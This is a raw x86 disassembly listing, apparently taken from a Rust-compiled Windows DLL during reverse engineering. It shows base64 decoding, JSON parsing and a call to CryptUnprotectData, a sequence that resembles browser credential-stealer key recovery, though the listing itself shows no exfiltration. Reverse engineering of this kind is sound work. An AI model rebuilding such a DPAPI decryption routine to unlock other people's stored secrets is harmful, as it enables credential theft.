mov ecx, dword [esp + 0x14]
cmovne ecx, ebx
mov dword [esp + 0x14], ecx
mov ecx, 0
cmovne ebx, ecx
mov ecx, dword [esp + 0x14]
or dword [esp + 0x1c], ebx
mov ebx, edx
or dword [esp + 0x18], ecx
mov ecx, edi
jmp 0x1000850c
mov edx, dword [esp + 0x24]
cmp edx, 9
jae 0x10008af2
mov eax, 0x1dd
bt eax, edx
jae 0x10008af2
mov ecx, dword [edx*4 + 0x10168200]
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov eax, edx
xor edx, edx
shld esi, edi, cl
shl edi, cl
test cl, 0x20
mov dword [esp + 0xc], ecx
cmovne esi, edi
cmovne edi, edx
or edi, esi
jne 0x10008b2d
push 0x38
pop ebx
mov ecx, dword [esp + 0x8c]
mov edi, dword [esp + 0x20]
cmp edx, dword [esp + 0xc]
jae 0x10008639
cmp edi, dword [esp + 0x4c]
jae 0x10008805
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov ecx, ebx
and cl, 0x38
shrd esi, eax, cl
mov ecx, ebx
and cl, 0x18
shr eax, cl
test bl, 0x20
mov ecx, dword [esp + 0x8c]
cmove eax, esi
mov esi, dword [esp + 0x48]
add edx, 8
add ebx, 0xfffffff8
mov byte [esi + edi], al
inc edi
jmp 0x100085f5
mov eax, dword [esp + 0x38]
add edi, ecx
mov esi, dword [esp + 0x34]
mov ebx, edi
cmp eax, edi
mov edi, dword [esp + 0x30]
cmovb ebx, eax
cmp edi, 0x80000000
je 0x10008b3e
push 5
pop ecx
mov edx, esi
push 0x10167bac
push ebx
call fcn.100484b4
pop ecx
pop ecx
mov ebx, edx
lea ecx, [esp + 0xe4]
mov edx, eax
push ebx
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::hce01cac4b6d59a8a
pop eax
mov ecx, edi
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea ecx, [esp + 0x90]
call sym.core::ptr::drop_in_place_LT_serde_json..value..Value_GT_::h2332b0f79b47633b
cmp byte [esp + 0x60], 6
jne 0x100086a3
lea ecx, [esp + 0x60]
call sym.__ZN4core3ptr100drop_in_place_LT_core..result..Result_LT_serde_json..value..Value_C_serde_json..error..Error_GT__GT_17h8ab63b5
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x7c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
cmp dword [esp + 0x50], 0x80000000
jne 0x100086c6
lea ecx, [esp + 0x50]
call sym.__ZN4core3ptr94drop_in_place_LT_core..result..Result_LT_alloc..string..String_C_std..io..error..Error_GT__GT_17h4170f4e90b3f17
mov esi, dword [esp + 0xe4]
cmp esi, 0x80000000
je 0x10007ba7
mov edx, dword [esp + 0xe8]
lea edi, [esp + 0x90]
mov dword [esp + 8], edx
mov ecx, edi
push dword [esp + 0xec]
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::hce01cac4b6d59a8a
pop eax
mov eax, dword [edi + 8]
mov ebx, dword [edi + 4]
and dword [esp + 0x60], 0
and dword [esp + 0x64], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ebx
lea eax, [esp + 0x60]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x48]
push eax
call sub.crypt32.dll_CryptUnprotectData
mov eax, dword [esp + 0x60]
cmp eax, 0x80000000
jne 0x10008754
mov ecx, dword [esp + 0x90]
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov edx, dword [esp + 8]
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x10007ba7
mov edx, dword [esp + 0x88]
mov ecx, dword [esp + 0x64]
mov dword [edx], eax
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x90]
mov dword [edx + 8], eax
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov edx, dword [esp + 8]
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x10007bb4
mov edi, dword [esp + 0x1c]
jmp 0x10007bc7
xor ecx, ecx
xor edx, edx
push 0x10166b34
call dbg.panic_bounds_check
xor ecx, ecx
inc ecx
mov edx, ecx
push 0x10166b44
call dbg.panic_bounds_check
push 2
pop ecx
mov edx, ecx
push 0x10166b54
call dbg.panic_bounds_check
push 3
pop ecx
mov edx, ecx
push 0x10166b64
call dbg.panic_bounds_check
push 4
pop ecx
mov edx, ecx
push 0x10166b74
call dbg.panic_bounds_check
push 5
pop ecx
mov edx, ecx
push 0x10166b84
call dbg.panic_bounds_check
push 6
pop ecx
mov edx, ecx
push 0x10166b94
call dbg.panic_bounds_check
push 7
pop ecx
mov edx, ecx
push 0x10166ba4
call dbg.panic_bounds_check
mov edx, dword [esp + 0x4c]
mov ecx, edi
push 0x10166c78
call dbg.panic_bounds_check
push 2
jmp 0x1000882b
push 3
jmp 0x1000882b
push 4
jmp 0x1000882b
push 5
jmp 0x1000882b
push 6
jmp 0x1000882b
push 7
pop eax
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
add dword [esp + 8], eax
mov edi, dword [esp + 8]
xor eax, eax
mov ecx, edi
movzx edx, bl
shr edi, 8
movzx esi, al
shl ecx, 0x18
shl edx, 8
shld edi, ecx, 8
or esi, edx
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], edi
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167b9c
push 0x101668d8
lea eax, [esp + 0x38]
push eax
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
test esi, esi
mov bl, 0x3d
cmovg ecx, dword [esp + 0xc]
add ecx, dword [esp + 8]
jmp 0x100088a7
mov edi, dword [esp + 8]
jmp 0x10008900
mov edi, dword [esp + 8]
jmp 0x1000897b
add ecx, 0xfffffff8
xor eax, eax
mov edi, ecx
jmp 0x1000883e
mov edi, dword [esp + 8]
jmp 0x100089b8
mov edi, dword [esp + 8]
jmp 0x10008948
push 0xfffffffffffffff8
pop ecx
push 0x10166c48
call dbg.slice_index_order_fail
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
push 0x10166c48
call dbg.slice_end_index_len_fail
mov edi, dword [esp + 8]
jmp 0x10008918
mov edi, dword [esp + 8]
jmp 0x10008930
mov edi, dword [esp + 8]
jmp 0x10008960
mov edi, dword [esp + 4]
or edi, 0xa
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 2
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0xb
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 3
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0xc
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 4
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0xd
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 5
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0xe
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 6
jmp 0x1000883c
push 0xffffffffffffffe0
pop ecx
xor edx, edx
push 0x10166be8
call dbg.slice_index_order_fail
mov edi, dword [esp + 4]
or edi, 7
jmp 0x1000883c
mov edx, dword [esp + 0xc]
mov ecx, esi
push 0x10166be8
call dbg.slice_end_index_len_fail
mov edi, dword [esp + 4]
or edi, 8
jmp 0x1000883c
mov edi, dword [esp + 4]
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 9
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 1
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x12
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x1a
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x13
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x1b
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x14
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x1c
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x15
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x1d
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x16
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x1e
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0xf
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x17
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x1f
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x10
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x18
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x11
jmp 0x1000883c
mov edi, dword [esp + 4]
or edi, 0x19
jmp 0x1000883c
movsd xmm0, qword [esp + 0x94]
lea eax, [esp + 0x60]
movsd qword [eax], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167b64
jmp 0x10008aca
movsd xmm0, qword [esp + 0x94]
lea eax, [esp + 0x60]
movsd qword [eax], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167b74
push 0x10166908
jmp 0x10008880
mov ecx, edx
mov edx, eax
push 0x101bde60
call dbg.slice_end_index_len_fail
pop eax
jmp 0x10008af0
push 0x101bde60
call dbg.slice_index_order_fail
pop eax
ud2
call sym.core::panicking::unreachable_display::h5beca0063908e96d
push 0x23
pop edx
mov ecx, str.decoded_length_calculation_overflow
push 0x10166bd8
call dbg.expect_failed
push 0x33
pop edx
mov ecx, str.Overflow_when_calculating_number_of_chunks_in_input_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_base64_0.13.1_src_decode.rs
push 0x10168d24
call dbg.expect_failed
push 0x2e
pop edx
mov ecx, str.Overflow_when_calculating_output_buffer_length
push 0x10166d44
call dbg.expect_failed
mov ecx, eax
mov eax, dword [esp + 8]
lea edi, [eax + ecx - 1]
mov al, 2
jmp 0x1000883e
mov edi, ebx
jmp 0x10008862
add ecx, dword [esp + 8]
xor eax, eax
mov ebx, edx
jmp 0x100088a9
mov edi, dword [esp + 0xc]
mov bl, 0x3d
add edi, dword [esp + 8]
jmp 0x1000883c